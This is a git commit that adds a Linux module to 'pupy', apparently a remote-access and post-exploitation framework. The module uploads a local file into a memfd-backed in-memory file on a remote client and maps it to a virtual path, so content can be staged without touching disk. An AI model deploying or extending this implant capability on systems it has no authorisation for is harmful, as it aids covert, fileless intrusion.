linux/mapped: Add module to work with _pupy.pathmap

This commit is contained in:
Oleksii Shevchuk 2019-12-31 13:22:53 +02:00
parent 2dc6196bbb
commit 9bb750c836
2 changed files with 80 additions and 0 deletions

38
pupy/modules/mapped.py Normal file
View File

@ -0,0 +1,38 @@
# -*- coding: utf-8 -*-
from pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupylib.PupyCompleter import path_completer
__class_name__ = 'Mapped'
@config(compat='linux')
class Mapped(PupyModule):
''' Create virtual mapped path with memfd backed file (if supported) '''
dependencies = ['mapped']
@classmethod
def init_argparse(cls):
cls.arg_parser = PupyArgumentParser(prog='mapped', description=cls.__doc__)
actions = cls.arg_parser.add_mutually_exclusive_group()
actions.add_argument(
'-C', '--create', help='Path to local file to upload',
completer=path_completer
)
actions.add_argument(
'-R', '--remove', action='store_true', help='Remove virtual path'
)
cls.arg_parser.add_argument('virtual', help='Virtual path')
def run(self, args):
if args.create:
create = self.client.remote('mapped', 'create_mapped_file')
with open(args.create, 'rb') as idata:
create(args.virtual, idata.read())
else:
remove = self.client.remote('mapped', 'close_mapped_file')
remove(args.virtual)

View File

@ -0,0 +1,42 @@
# -*- coding: utf-8 -*-
try:
from _pupy import pathmap
from pupy._linux_memfd import (
memfd_is_supported, memfd_create
)
except ImportError:
raise ValueError('PathMap not supproted')
if not memfd_is_supported():
raise ValueError('Memfd is not supported')
MAPPED_FDS = {}
def create_mapped_file(path, data):
if path in MAPPED_FDS:
raise ValueError('Mapped file {} exists'.format(path))
fd, filepath = memfd_create()
pathmap[path] = filepath
MAPPED_FDS[path] = fd
r = fd.write(data)
fd.flush()
print "FLUSHED: ", r, len(data)
def close_mapped_file(path):
if path not in MAPPED_FDS:
raise ValueError('File {} is not mapped'.format(path))
MAPPED_FDS[path].close()
del MAPPED_FDS[path]
del pathmap[path]